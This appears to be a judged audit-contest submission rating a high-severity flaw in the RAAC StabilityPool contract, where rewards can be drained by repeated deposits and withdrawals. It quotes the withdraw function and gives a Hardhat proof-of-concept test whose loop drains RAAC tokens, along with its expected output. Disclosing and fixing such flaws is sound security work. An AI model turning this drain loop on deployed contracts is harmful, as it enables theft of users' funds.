Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

[H] Vulnerability to Repetitive Deposit and Withdraw Attacks Due to Lack of Locking Period in `withdraw` Function in `StabilityPool`

Summary

The withdraw function in the StabilityPool contract does not have a locking period, making it vulnerable to flash loan attacks and repetitive withdraw and deposit attacks. This can lead to drain the contract RAAC tokens.

Vulnerability Details

The current withdraw function in the StabilityPool contract is:

function withdraw(
uint256 deCRVUSDAmount
) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount)
revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount)
revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}

The function does not have a locking period, making it vulnerable to flash loan attacks.

POC

copy paste the following test in StabilityPool.test.jsin RAAC Rewardsin this test user2 only had 50 RTokens but user1 had 100 RTokens since there is no time-lock mechanism after some RAAC tokens are minted user2 drained the contract by repitatively depositing and withdrawing.

it.only("should distribute rewards proportionally", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user1Rewards = await stabilityPool.calculateRaacRewards(
user1.address
);
const user2Rewards = await stabilityPool.calculateRaacRewards(
user2.address
);
await stabilityPool
.connect(user2)
.withdraw(await deToken.balanceOf(user2.address));
console.log(
"balnce of RAACToken",
ethers.formatEther(await raacToken.balanceOf(user2.address))
);
while ((await raacToken.balanceOf(stabilityPool.target)) > ethers.parseEther("1")) {
await rToken
.connect(user2)
.approve(stabilityPool.target, ethers.parseEther("50"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("50"));
await stabilityPool
.connect(user2)
.withdraw(await deToken.balanceOf(user2.address));
}
console.log(
"balnce of RAACToken",
ethers.formatEther(await raacToken.balanceOf(user2.address))
);
});
});

the output should be

balnce of RAACToken 1.54629629629629629
balnce of RAACToken 6.589993056613998513

Impact

This issue can lead to potential exploitation and manipulation of the protocol through flash loan attacks, potentially causing significant financial losses.

Tools Used

Manual code review.

Recommendations

Implement a locking period to protect against flash loan attacks. This ensures that users cannot immediately withdraw their deposits after making them, reducing the risk of exploitation.

This ensures that users cannot immediately withdraw their deposits after making them, reducing the risk of flash loan attacks.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.